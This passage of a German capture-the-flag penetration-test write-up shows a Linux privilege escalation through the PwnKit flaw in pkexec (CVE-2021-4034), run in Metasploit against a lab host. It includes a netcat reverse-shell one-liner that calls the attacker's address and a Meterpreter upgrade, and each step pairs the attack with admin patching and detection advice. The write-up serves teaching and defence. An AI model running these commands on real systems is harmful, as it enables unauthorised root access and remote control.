 13501744     68 -rwsr-xr-x   1 root     root          68208 May 28  2020 /usr/bin/passwd
 13501118     52 -rwsr-xr-x   1 root     root          53040 May 28  2020 /usr/bin/chsh
 13501842     32 -rwsr-xr-x   1 root     root          31032 Aug 16  2019 /usr/bin/pkexec
 13501668     44 -rwsr-xr-x   1 root     root          44784 May 28  2020 /usr/bin/newgrp
 13502170     68 -rwsr-xr-x   1 root     root          67816 Apr  2  2020 /usr/bin/su
 13501337     88 -rwsr-xr-x   1 root     root          88464 May 28  2020 /usr/bin/gpasswd
  3408739     16 -rwsr-xr-x   1 root     root          14704 Oct 12  2020 /opt/lampp/bin/suexec
                    

Analyse: Die Suche nach SUID-Binaries (`find / -type f -perm -4000 -ls 2>/dev/null`) wird durchgeführt. Die Liste enthält viele Standard-Binaries, aber auch `/usr/bin/pkexec` und das XAMPP-spezifische `/opt/lampp/bin/suexec`.

Bewertung: Das Vorhandensein von `/usr/bin/pkexec` ist der wichtigste Fund. Dieses Binary ist bekannt für die PwnKit-Schwachstelle (CVE-2021-4034), die eine lokale Privilege Escalation zu Root ermöglicht.

Empfehlung (Pentester): Nutze den PwnKit-Exploit (CVE-2021-4034), um Root-Rechte zu erlangen. Dies kann manuell oder über Metasploit geschehen.
Empfehlung (Admin): Patchen Sie das `policykit-1`-Paket, um CVE-2021-4034 zu beheben. Überprüfen Sie alle SUID-Binaries und entfernen Sie das Bit, wo es nicht benötigt wird.

Proof of Concept (POC): Privilege Escalation via PwnKit (CVE-2021-4034)

Dieser Abschnitt demonstriert die Ausnutzung der PwnKit-Schwachstelle im gefundenen `/usr/bin/pkexec`-Binary mittels Metasploit, um Root-Rechte zu erlangen.

┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > set lport 4545
lport => 4545
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4545
                    
daemon@osboxes:/$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4545 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4545 -> 192.168.2.103:54732) at 2023-10-11 01:10:16 +0200
                    

Analyse: Zuerst wird die initiale Reverse Shell (`daemon`) stabilisiert. 1. Ein Metasploit-Handler (`multi/handler`) wird auf Port 4545 des Angreifersystems gestartet. 2. Auf dem Zielsystem (`daemon`-Shell) wird ein Befehl ausgeführt, der eine neue, stabilere Reverse Shell zum Metasploit-Handler auf Port 4545 aufbaut. 3. Metasploit empfängt die Verbindung und öffnet `Command shell session 1`.

Bewertung: Die Shell wurde erfolgreich in eine Metasploit-Session überführt. Dies erleichtert die weitere Interaktion und die Ausführung von Metasploit-Modulen.

Empfehlung (Pentester): Wandle die Command Shell in eine Meterpreter-Session um (`shell_to_meterpreter`), um erweiterte Funktionen nutzen zu können. Führe dann den PwnKit-Exploit über die neue Session aus.
Empfehlung (Admin): Überwachen Sie Netzwerkverbindungen und Prozessausführungen, um solche Shell-Stabilisierungs- und Eskalationstechniken zu erkennen.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (101183 bytes) to 192.168.2.103
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.103:33798) at 2023-10-11 01:13:18 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse: Das Metasploit-Modul `shell_to_meterpreter` wird verwendet, um die bestehende Command Shell (Session 1) in eine funktionsreichere Meterpreter-Session umzuwandeln. * `set session 1`: Wählt die zu aktualisierende Session aus. * `set LPORT 4433`: Gibt den Port an, auf dem der neue Meterpreter-Handler lauschen soll (Hinweis: Das Log enthielt einen Tippfehler `set port`, es sollte `set LPORT` sein). * `run`: Startet den Upgrade-Prozess. Metasploit lädt den Meterpreter-Stager auf das Ziel hoch und startet ihn über Session 1. Der Stager verbindet sich zurück zum neuen Handler auf Port 4433, und `Meterpreter session 2` wird geöffnet.

Bewertung: Die Umwandlung in eine Meterpreter-Session war erfolgreich. Dies erleichtert die Ausführung des PwnKit-Exploits.

Empfehlung (Pentester): Verwende nun Session 2 (Meterpreter), um das PwnKit-Modul auszuführen.
Empfehlung (Admin): Intrusion Detection Systeme können das Hochladen und Ausführen von Meterpreter-Payloads erkennen.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
[...]
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5454
lport => 5454
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:5454
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.gwange
[+] The target is vulnerable.
[*] Writing '/tmp/.prlevm/pdwbio/pdwbio.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.prlevm
[*] Sending stage (3045380 bytes) to 192.168.2.103
[+] Deleted /tmp/.prlevm/pdwbio/pdwbio.so
[+] Deleted /tmp/.prlevm/.gxdptntxnvf
[+] Deleted /tmp/.prlevm
[*] Meterpreter session 3 opened (192.168.2.199:5454 -> 192.168.2.103:40504) at 2023-10-11 01:14:25 +0200
                    

Analyse: Der PwnKit-Exploit wird über Metasploit ausgeführt. 1. `search 4034`: Findet das relevante Exploit-Modul. 2. `use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`: Lädt das Modul. 3. `set session 2`: Wählt die Meterpreter-Session (als `daemon` laufend) als Ziel für den Exploit. 4. `set lport 5454`: Definiert den Port für die neue Shell (die als Root laufen wird). 5. `run`: Startet den Exploit. Metasploit überprüft die Verwundbarkeit, lädt die notwendigen Dateien über die Meterpreter-Session hoch, führt den PwnKit-Exploit aus, der `pkexec` zur Codeausführung als Root missbraucht, und startet den Payload (einen weiteren Meterpreter). Eine neue Verbindung kommt auf Port 5454 an, und `Meterpreter session 3` wird als Root geöffnet.

Bewertung: Fantastisch! Der PwnKit-Exploit war erfolgreich. Eine Meterpreter-Session mit Root-Rechten wurde erlangt. Die Privilege Escalation ist abgeschlossen.

Empfehlung (Pentester): Interagiere mit Session 3 (`sessions -i 3`). Verifiziere die Root-Rechte (`getuid`). Suche nach der Root-Flag.
Empfehlung (Admin): Patchen Sie das System dringend, um CVE-2021-4034 zu beheben. Implementieren Sie Host-basierte Intrusion Detection, um Exploit-Versuche zu erkennen.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 3353 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon)
# cd /root
# ls
Desktop
hello
                    
# file hello
hello: UTF-8 Unicode text
# cat hello
¡Congratulation! Have a nice day


I'm very happy



How the little piglets would grunt if they knew how the old boar suffered
                    

Analyse: In der Root-Meterpreter-Session (Session 3) werden folgende Aktionen durchgeführt: 1. `getuid`: Bestätigt Root-Rechte. 2. `shell`: Startet eine interaktive System-Shell als Root. 3. `id`: Bestätigt erneut `uid=0(root)`. 4. `cd /root`: Wechselt in das Root-Home-Verzeichnis. 5. `ls`: Listet den Inhalt auf, findet eine Datei namens `hello`. 6. `file hello`: Bestimmt den Dateityp als Textdatei. 7. `cat hello`: Gibt den Inhalt der Datei aus, der mit "¡Congratulation! ..." beginnt.

Bewertung: Die Root-Flag wurde in der Datei `/root/hello` gefunden und ihr Inhalt ausgelesen. Der Inhalt ist eine Glückwunschbotschaft.

Empfehlung (Pentester): Dokumentiere den Flag-Text als Root-Flag. Der Test ist abgeschlossen.
Empfehlung (Admin): Beheben Sie alle gefundenen Schwachstellen (veraltete Software, unsichere FTP-Konfiguration, PwnKit-Schwachstelle). Sichern Sie die Root-Flag-Datei (`chmod 600`).

Flags

cat /root/hello
¡Congratulation! Have a nice day...